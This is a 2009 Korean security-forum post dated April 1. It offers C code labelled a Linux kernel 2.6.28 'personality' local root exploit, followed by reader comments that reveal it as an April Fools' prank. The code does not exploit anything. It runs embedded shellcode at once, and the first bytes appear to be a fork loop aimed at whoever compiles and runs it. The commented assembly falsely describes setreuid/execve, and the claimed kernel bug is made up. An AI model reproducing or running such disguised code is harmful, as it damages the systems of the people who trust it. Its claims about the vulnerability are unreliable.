Project Progress

Name :	chpie
Day :	2009.04.01 09:58:23
Subject :	와 리눅스 대박 버그 떳네여

일단 제가 로그인 가능한 서버는 왠만한건 바로 털리네여 -_-;;
어떻게 작동하는건지 당췌..

/*
*
* Linux kernel <= 2.6.28 Personality Local Root Exploit
*
* Crafted by H4wa1[gmai1_dot_com]
*
* compile option
*
* gcc hawai.c -o hawai -fno-stack-protector -mpreferred-stack-boundary=2 -z execstack -fomit-frame-pointer -Wnon-virtual-dtor -W -Wall -Wpacked -feliminate-dwarf2-dups -ffloat-store -fearly-inlining -ftree-salias
*/

#include <stdio.h>
#include <unistd.h>
#include <string.h>

char shellcode[] = "\x6a\x02\x58\xcd\x80\xeb\xf9"
"\x6a\x05\x58\x99\x52\x68\x74\x79\x31\x30\x68\x2f\x2f\x2f\x74"
"\x68\x2f\x64\x65\x76\x89\xe3\x89\xd1\xcd\x80\x89\xc3\x6a\x36"
"\x58\xb9\xcf\xb4\xff\xff\xf7\xd1\xba\xdc\x34\xfa\x03\xcd\x80";

/*
* setreuid(0, 0);
* push byte +0x46
* pop eax
* xor ebx,ebx
* xor ecx,ecx
* int 0x80
*
* execve("/bin//sh", ["/bin//sh", "-c", "cmd"], NULL);
* jmp short 0x2c
* pop edi
* push byte +0xb
* pop eax
* cdq
* push edx
* push word 0x632d
* mov esi,esp
* push edx
* push dword 0x68732f2f
* push dword 0x6e69622f
* mov ebx,esp
* push edx
* push edi
* push esi
* push ebx
* mov ecx,esp
* int 0x80
* call 0xb
* "cmd; exit;"
*/

int main(int argc, char * argv[])
{
char buffer[1024];
int loop, ret;
if (argc == 1){
printf("using default target program :: /bin/ls\n");
strcpy(buffer, "/bin/ls");
}
strcpy(buffer,argv[1]);
memset(buffer,0x90,1024);
void (*b)()=shellcode;b();

for (loop=0;loop<0x10000;loop++){
ret = personality(b);
if (ret==-71393){
//
// hellcode injection
//
memset(buffer, 0x90, 1024);
buffer[ret - 0xa8 + loop / 2 * 39] =
buffer[ret - 0xfb * sizeof(long)];
printf("Yay!! !!");
exit(0);
}
}
printf("Fail.\n");
return 0;
}

04.01 10:10	ashine	킹왕짱 버그군 ㅋㅋ -삭제
04.01 10:46	n0fate	오 제 리눅스 서버에 테스트해보니깐 바로 뚫리네요..큰일난듯. -삭제
04.01 11:31	passket	-ㅁ- -삭제
04.01 11:53	passket	낚인건가 -_-;;;;;;;;;;;;;;;;;;;;; -삭제
04.01 11:57	beist	열라 위험하군.. -삭제
04.01 13:32	saintrole	...구글신도 모르는... -삭제
04.01 14:51	binish	chpie, 일루 좀 올래? ^^ -삭제
04.01 15:52	newpolaris	ㅤㅁㅝㅇ미? -삭제
04.01 22:52	hahah	뭐죠? 세그멘테이션 오류나는데..-_-; -삭제
04.02 00:09	chpie	하와이에 다녀오신 분들이 꽤 있군요.. ㅋㅋㅋ -삭제
04.02 07:48	minias	이거 만우절 코드인데 진짜 뚤리는 리눅스는 뭐지 ㅡㅡ; -삭제
04.02 15:18	n0fate	제 댓글이 효과를 좀 봤나요..-_+; -삭제
04.02 16:34	zemisolsol	ㅋㅋㅋㅋㅋㅋㅋㅋㅋ -삭제
04.03 17:43	guk	ㅋㅋ 저도 세그멘테이션 오류 -삭제